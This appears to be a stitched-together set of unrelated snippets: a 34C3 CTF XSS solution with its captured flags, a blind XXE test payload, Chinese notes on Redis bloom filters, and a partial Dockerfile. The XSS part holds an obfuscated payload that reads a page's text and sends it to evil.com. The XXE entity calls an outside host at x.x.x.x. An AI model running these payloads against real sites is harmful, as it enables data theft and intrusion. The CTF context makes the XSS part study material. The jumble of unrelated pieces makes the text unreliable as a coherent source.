retanoj

XSS vector:
<link id=foo rel=import href=/flag(1|2)>
<script src="/feed?type=jsonp&cb=payload"></script>

<!-- superblog 1 - flag: 34C3_so_y0u_w3nt_4nd_learned_SOME_javascript_g00d_f0r_y0u -->
<script>
document.write`${Array.call`${atob`PA`}${`l`}${`i`}${`n`}${`k`}${atob`IA`}${`r`}${`e`}${`l`}${atob`PQ`}${atob`Ig`}${`p`}${`r`}${`e`}${`f`}${`e`}${`t`}${`c`}${`h`}${atob`Ig`}${atob`IA`}${`h`}${`r`}${`e`}${`f`}${atob`PQ`}${atob`Ig`}${`h`}${`t`}${`t`}${`p`}${atob`Og`}${atob`Lw`}${atob`Lw`}${`evil`}${atob`Lg`}${`com`}${atob`Og`}${atob`Lw`}${Math.random``}${`_`}${escape.call`${document.getElementsByTagName`link`.item``.import.body.innerText}`}${atob`Ig`}${atob`Pg`}`.join``}`,
</script>
  
<!-- superblog 2 - flag: 34C3_h3ncef0rth_peopl3_sh4ll_refer_t0_y0u_only_4s_th3_ES6+DOM_guru -->

retanoj

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

retanoj

关于bloom filter算法： http://www.cnblogs.com/heaad/archive/2011/01/02/1924195.html

参考项目：

• https://github.com/jettify/aioredis_bloom 基于asyncio的异步实现
• https://github.com/seomoz/pyreBloom 基于C语言的实现

作用：海量数据的去重，时间、空间复杂度为常量：O(K)。

原理：借助redis，维护一个BitSet(位集合)。通过bloom filter算法判断一个数据是否重复。

retanoj

FROM python:2.7

ENV VERSION 1.0.11

RUN apt-get update && apt-get install -y \
  git --no-install-recommends

RUN mkdir /app

WORKDIR /app